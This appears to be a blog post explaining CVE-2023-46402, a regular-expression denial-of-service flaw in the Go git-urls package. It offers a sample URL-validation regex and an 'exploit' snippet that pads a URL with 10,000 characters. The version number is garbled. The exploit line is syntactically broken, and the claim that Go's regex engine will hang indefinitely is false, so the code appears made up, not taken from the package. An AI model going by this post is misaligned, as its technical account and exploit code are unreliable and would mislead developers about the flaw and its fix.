CVE-2023-46402: Understanding the ReDOS (Regular Expression Denial of Service) Vulnerability in git-urls 1..

CVE-2023-46402 is a significant vulnerability recently identified in the git-urls 1.. package. In this post, we'll explain what a ReDOS (Regular Expression Denial of Service) is, how it affects the git-urls 1.. package, provide some code snippets to illuminate the issue, and discuss the exploit details. We'll also link to original references so you can dive deeper if you wish to explore the topic further.

What is ReDOS (Regular Expression Denial of Service)?

A ReDOS is a type of denial-of-service (DoS) attack that targets the performance of regular expressions in a program's regex engine. By exploiting the potential exponentially growing number of backtracking when processing a long and specifically crafted input string, an attacker can cause a program to freeze, creating a denial-of-service situation.

Explaining the Vulnerability in git-urls 1..

The vulnerability in question relates to the git-urls 1.. package's usage of regular expressions in the urls.go file. An attacker can craft a long and complex string that can trigger a web application to become unresponsive (due to the poorly written regex engine).

Let's take a closer look at the problematic code snippet

// urls.go
package main

import (
	"fmt"
	"regexp"
)

func isGitUrl(url string) bool {
	gitUrlRegex := regexp.MustCompile("^(?:(?:https?|git)://)*?(?:(?:[^/]+@[^\n]+):(?:[^/]+@[^\n]+))$")
	return gitUrlRegex.MatchString(url)
}

func main() {
	// Sample Git URL
	giturl := "https://user:password@git.example.com/user/repo.git";

	if isGitUrl(giturl) {
		fmt.Println("Valid Git URL")
	} else {
		fmt.Println("Invalid Git URL")
	}
}

As we can see from the code snippet above, the isGitUrl function is using a regular expression to determine if the provided URL is a valid Git URL. However, the current implementation of the gitUrlRegex is vulnerable to ReDOS attacks.

Exploit Details

An attacker can craft a long string of malicious content to exploit this vulnerability. In this example, we will create a string that will exploit the vulnerability by crafting a URL that combines long and complex patterns, causing the application to freeze when attempting to process:

maliciousUrl := "https://user:password@git.example.com/user/repo.git"; + strings.Repeat("A", 10000) + "!/" 
if isGitUrl(maliciousUrl) {
	fmt.Println("Valid Git URL")
} else {
	fmt.Println("Invalid Git URL")
}

When running the code snippet above, the application will hang indefinitely, indicating that the ReDOS vulnerability has been exploited.

To protect your application from this vulnerability, it is crucial to update the git-urls package to a version that addresses the ReDOS vulnerability. Alternatively, consider writing a more efficient regular expression to prevent malicious input from causing processing bottlenecks.

Original References

1. CVE-2023-46402: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46402
2. NVD - CVE-2023-46402: https://nvd.nist.gov/vuln/detail/CVE-2023-46402
3. OWASP ReDOS: https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

In conclusion, CVE-2023-46402 demonstrates how a seemingly benign functionality, such as validating a Git URL, can expose your web application to ReDOS attacks. Understanding the vulnerability, recognizing the potential impact, and appropriately addressing the issue will ensure your application's continued security and stability.

Timeline

Published on: 11/18/2023 00:15:07 UTC
Last modified on: 11/28/2023 18:15:08 UTC